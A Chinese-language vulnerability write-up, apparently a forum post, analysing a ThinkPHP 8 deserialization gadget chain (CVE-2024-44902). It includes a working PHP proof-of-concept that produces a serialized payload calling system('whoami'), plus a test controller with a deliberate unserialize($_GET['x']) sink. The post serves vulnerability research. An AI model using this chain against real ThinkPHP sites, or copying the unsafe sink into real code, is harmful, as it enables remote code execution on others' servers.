thinkphp最新CVE-2024-44902反序列化漏洞
真爱和自由 发表于 四川 技术文章 4285浏览 · 2024-09-10 15:05

thinkphp最新CVE-2024-44902反序列化漏洞

最近看到漏洞上出现了tp的新的cve,因此来分析分析

参考https://avd.aliyun.com/detail?id=AVD-2024-44902

环境搭建

tp环境搭建网上很多教程

这里使用的是tp8和php8.0.2

只需要设置一个反序列化入口

<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_GET['x']);
        return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

漏洞复现

POC

<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
    protected $options=[];
    function __construct()
    {
        $this->options["username"]=new Pivot();
    }
}

namespace think\model;
use think\model;
class Pivot extends Model
{

}

namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct()
    {
        $this->data["fru1ts"]=["whoami"];
        $this->withAttr["fru1ts"]=["system"];
        $this->json=["fru1ts"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new DbManager();
    }
}
namespace think;
use think\model\Pivot;
class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
        $this->config["default"]="getRule";
    }
}

use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

链子分析

这里的入口点变了选择的是ResourceRegister

public function __destruct()
{
    if (!$this->registered) {
        $this->register();
    }
}

进入register方法

protected function register()
{
    $this->registered = true;

    $this->resource->parseGroupRule($this->resource->getRule());
}

这里resource就是

class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new DbManager();
    }
}

DbManager类

会触发DbManager的call方法

public function __call($method, $args)
{
    return call_user_func_array([$this->connect(), $method], $args);
}

然后调用$this->connect()方法

public function connect(string $name = null, bool $force = false)
{
    return $this->instance($name, $force);
}

跟进instance方法

这里传入的name是null

会调用

if (empty($name)) {
    $name = $this->getConfig('default', 'mysql');
}

返回的是return $this->config[$name] ?? $default;

我们构造的

class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
        $this->config["default"]="getRule";
    }
}

返回getRule

到下一个if判断

if ($force || !isset($this->instance[$name])) {
    $this->instance[$name] = $this->createConnection($name);
}

跟进createConnection方法

protected function createConnection(string $name): ConnectionInterface
{
    $config = $this->getConnectionConfig($name);

    $type = !empty($config['type']) ? $config['type'] : 'mysql';

    if (str_contains($type, '\\')) {
        $class = $type;
    } else {
        $class = '\\think\\db\\connector\\' . ucfirst($type);
    }

    /** @var ConnectionInterface $connection */
    $connection = new $class($config);
    $connection->setDb($this);

    if ($this->cache) {
        $connection->setCache($this->cache);
    }

    return $connection;
}

调用getConnectionConfig

protected function getConnectionConfig(string $name): array
{
    $connections = $this->getConfig('connections');
    if (!isset($connections[$name])) {
        throw new InvalidArgumentException('Undefined db config:' . $name);
    }

    return $connections[$name];
}

根据我们的构造返回

我们的type就是\think\cache\driver\Memcached

这里

$connection = new $class($config);

实例化我们的类

重点在

if ('' != $this->options['username']) {
    $this->handler->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);
    $this->handler->setSaslAuthData($this->options['username'], $this->options['password']);
}

因为我们的username构造为new Pivot()

class Memcached{
    protected $options=[];
    function __construct()
    {
        $this->options["username"]=new Pivot();
    }
}

所以会触发Pivot的tostring方法,之后就是tp6的链子了

就简单讲讲最后命令执行的部分

就拿以前的链子部分讲了,网上也很多,原理是一样的

看到getvalue方法

跟进看一下

protected function getJsonValue($name, $value)
    {
        if (is_null($value)) {
            return $value;
        }

        foreach ($this->withAttr[$name] as $key => $closure) {
            if ($this->jsonAssoc) {
                $value[$key] = $closure($value[$key], $value);
            } else {
                $value->$key = $closure($value->$key, $value);
            }
        }

        return $value;
    }

如果value不为空并且$this->jsonAssoc为真就可以进入

$value[$key] = $closure($value[$key], $value);

达到一样的效果

需要进入getJsonValue需要满足这个if判断

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
    $value = $this->getJsonValue($fieldName, $value);
}

https://xz.aliyun.com/t/12630?time__1311=GqGxuDRiiQemqGN4CxUxOFKG%3Dc%2Bt8rD#toc-3讲得很清楚

先看in_array($fieldName, $this->json),之前也说过其实$fieldName就是我们data的键值,所以可以构造:

protected $json = ["key"];

当data的键为key时,$fieldName就为key,那就满足了in_array

再看is_array($this->withAttr[$fieldName])

相当于判断withAttr['key']是否为数组,所以就可以构造:

private $withAttr = ["key"=>["key1"=>"system"]];

绕过后便进入了getJsonValue()——>$value = $this->getJsonValue($fieldName, $value); 其中$fieldName, $value分别是data的键和值,上条链有说过。先看下最后设置的$data值

private $data = ["key" => ["key1" => "whoami"]];

跟进后看下foreach语句,$name是上边的$fieldName=key,$value还是之前的$value的值=["key1" => "whoami"]

protected function getJsonValue($name, $value)
{
foreach ($this->withAttr[$name] as $key => $closure) {
    if ($this->jsonAssoc) {
        $value[$key] = $closure($value[$key], $value);
    }

所以这里withAttr[$name]=withAttr['key']=["key1"=>"system"],所以经过foreach后$key=key1,$closure=system

$this->jsonAssoc设为true——>$this->jsonAssoc = true;

最后进入if,$closure($value[$key], $value);=>system('data['key1]',$value)=>system('whoami',$value);

最后

我在调试过程中一会又能执行命令,一会又不能,我还是没有明白,有没有师傅解释解释

0 条评论
某人
表情
可输入 255